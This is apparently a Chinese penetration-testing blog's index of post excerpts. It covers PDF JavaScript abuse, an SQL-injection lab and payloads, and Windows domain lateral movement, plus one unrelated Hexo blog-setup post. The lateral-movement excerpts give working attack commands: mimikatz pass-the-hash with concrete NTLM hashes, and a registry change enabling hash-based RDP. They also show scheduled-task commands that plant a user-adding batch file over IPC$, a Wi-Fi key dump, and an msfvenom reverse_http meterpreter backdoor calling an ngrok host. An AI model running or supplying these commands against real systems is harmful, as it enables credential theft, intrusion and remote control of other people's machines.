PDF中的JavaScript的利用姿势.md
本文主要研究PDF在攻防实战中的多种利用姿势,主要分为三部分(原理,API函数,方法)。原创首发,转载请标明来源。
原理
PDF中的JavaScript规范(Acrobat JavaScript)是Adobe在其PDF阅读器(Adobe Acrobat和Adobe Reader)中实现的一种功能,它允许开发者和用户使用JavaScript来控制PDF文档的行为,用来实现不同的高阶效果,处理和显示复杂的数据。
以下是我们常见的一些PDF中在JavaScript下可以实现的功能:
表单验证:可以使用JavaScript来验证用户输入的信息是否符合预期。例如,检查输入字段是否为空,或者输入的电子邮件地址是否有效。
自动填充表单:JavaScript可以用来自动填充表单字段。例如,当用户在一个字段中输入信息时,可以自动填充其他相关字段。
计算和更新表单字段:JavaScript可以用来自动计算和更新表单字段。例如,在一个购物清单的PDF中,当用户更改购买的商品数量时,可以自动更新总价格。
导航和动作:JavaScript可以用来创建导航按钮,或者在用户打开、关闭、保存或打印PDF ...
iwebsec靶场练习
部署靶场(Docker)12345678910# 启动命令docker pull iwebsec/iwebsecdocker run -d -p 9050:3306 -p 9056:80 -p 9051:7001 -p 9052:8080 -p 9053:8088 -p 9054:8000 -p 9055:6379 iwebsec/iwebsec# http://ip:9056# 官方文档:http://iwebsec.com
SQL注入漏洞01-数字型注入02-字符型注入03-bool注入04-sleep注入05-updatexml注入06-宽字节注入07-空格过滤绕过08-大小写过滤绕过09-双写关键字绕过10-双重url编码绕过11-十六进制绕过12-等价函数替换过滤绕过13-二次注入文件上传漏洞01-前端JS过滤绕过02-文件名过滤绕过03-Content-Type过滤绕过04-文件头过滤绕过05-.htaccess文件上传06-文件截断上传07-竞争条件文件上传文件包含漏洞01-本地文件包含02-本地文件包含绕过03-session本地文件包含04-远程文件包含05-远程文 ...
SQL注入利用
注入类型注入分类
布尔型盲注:根据返回页面判断条件真假
时间型盲注:用页面返回时间是否增加判断是否存在注入
基于错误的注入:页面会返回错误信息
联合查询注入:可以使用union的情况下
堆查询注入:可以同时执行多条语句
注入技巧
宽字节注入:
DNSlog盲注
二阶注入
中转注入
Base64变形注入
Order-By注入
limit 注入
cookie注入
过滤逗号的注入
过滤”>”尖括号的注入
未知列名的注入
联合查询注入:union在参数后添加引号尝试报错,并用and 1=1#和and 1=2#测试报错
12?id=1' and 1=1# 页面返回正常?id=1' and 1=2# 页面返回不正常
利用order by猜测字段
1234567?id=1%27%20order%0aby%0c2%23 --返回正常--上边用%0a和%0c的URL编码可以代替空格,到数据库后就是空格的意思?id=1%27 order by 3# --返回正常?id=1%27 order by 4# - ...
重构博客
部署hexo安装git
安装node.js
1234567npm install -g hexo-clihexo init 安装目录cd 安装目录npm install
配置_config.yml文件12345deploy: type: git repo: https://github.com/name/name.github.io.git # GitHub仓库 branch: main # 分支 message: 123 # 自定义此次部署更新的说明,可不写
GitHub推送部署生成密钥
123456git config --global user.email "@qq.com"git config --global user.name "name"ssh-keygen -t rsa -C "@qq.com"#复制生成的id_rsa.pub文件到GitHub
开始推送12345678#安装插件npm install hexo-deployer-git#初始化 git 仓库git init#推送hexo d # h ...
域横向 信息收集
信息收集
收集:存活主机 域控制器 网络架构 服务接口 判断网络等信息
判断域控(三种方法): 12345ipconfig /all -dnsnet view /domainnet time /domain
收集用户和用户信息 123456domain admins 域管理员(控制权)domain computers 域内机器domain controllers 域控制器domain guest 域访客(低权限)domain users 域用户enterprise admins 企业系统管理员用户(对域控有控制权)
收集凭据信息:密文,明文,口令等 1234567891011计算机用户Hash 明文获取:mimikatz(win),mimipenguin(linux)计算机各种协议服务口令获取:lazagne(all),xenarmor(win)Wi-Fi信息:netsh wlan show profilesnetsh wlan show profile name="wifiname" key=clear源码,备份文件,web管理入口,浏览器保持的密码, ...
域横向 CS SPN RDP
RDP传递-Mimikatz除了IPC、WMI、SMB、NTLM等协议的连接外,获取到的明文密码或HASH密文也可以通过RDP协议(3389端口)进行连接操作。
RDP明文密码连接1234Windows: mstscmstsc.exe /console /v192.168.3.21 /adminlinux: rdesktop 192.168.3.21:3389
RDP密文hash连接windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启,同时如果Win 7 和Windows Server 2008 R2安装了2871997、2973351补丁也支持;开启命令:
123REG ADD “HKLM\System\CurrentControlSet\Control\Lsa” /vDisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
开启后运行1234mstsc.exe /restrictedadminmimikatz.exeprivil ...
域横向 PTH PTK PTT
PTH(pass the hash)利用lm或ntlm的值进行的渗透测试
PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
未打补丁下的工作组及域连接
mimikatz查询出本机NTLM后,通过本机的NTLM值连接域内其它主机(如果设置的密码相同,即可连上)后,弹出一个cmd窗口,可输入对应要连接主机的ip,连接并执行命令(可对内网存活主机的ip依次进行测试)
1234567sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455csekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7\\OWA2010 ...
域横向 at schtasks smb wmi
#加密方式
windows系统LM hash及NTLM hash加密算法,个人系统在windows vista后,服务器系统在windows 2003以后,认证方式均为NTLM Hash。
#at&schtasks##at
12345678910at < windows2012建立ipc$复制文件到目标机C盘:copy add.bat \\ip\c$添加计划任务:at \ip 时间(00:00) c:\add.bat#添加用户add.bat > "net user ceshi 12345 /add"
##schtasks
1234567891011schtasks >= Windows2012建立ipc$复制文件到目标机C盘:copy add.bat \\ip\c$创建adduser任务对应执行文件:schtasks /create /s ip /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat运行adduser任务:schtasks /run /s ip /tn a ...
域横向 内网Socks代理隧道技术
必要基础知识点
内外网简单知识
内网 1 和内网 2 通信问题
正向反向协议通信连接问题
内网穿透代理隧道技术说明
两个内网通讯上线(Ngrok)两个不同的内网(有网络)实现穿透控制
环境搭建
http://www.ngrok.cc/
https://www.natfrp.com/
协议:http 本地端口:192.168.76.132:4444
测试:内网 1 执行后门 - VPS - 内网 2 监听 - 内网 2 接受器
1234567891011./sunny clientid aa0676878c162ffc#msf生成后门msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o test.exe#启动监听use exploit/multi/handlerset payload windows/meterpreter/reverse_httpset lhost 192.168.76.132set lport 4444exploi ...
域横向 网络传输应用层隧道技术
必备知识点1.代理和隧道技术区别?
2.隧道技术为了解决什么?
3.隧道技术前期的必备条件?
在数据通信被拦截的情况下利用隧道技术封装改变通信协议进行绕过拦截
CS、MSF 无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况, 如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙, 与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
常用的隧道技术有以下三种:
网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道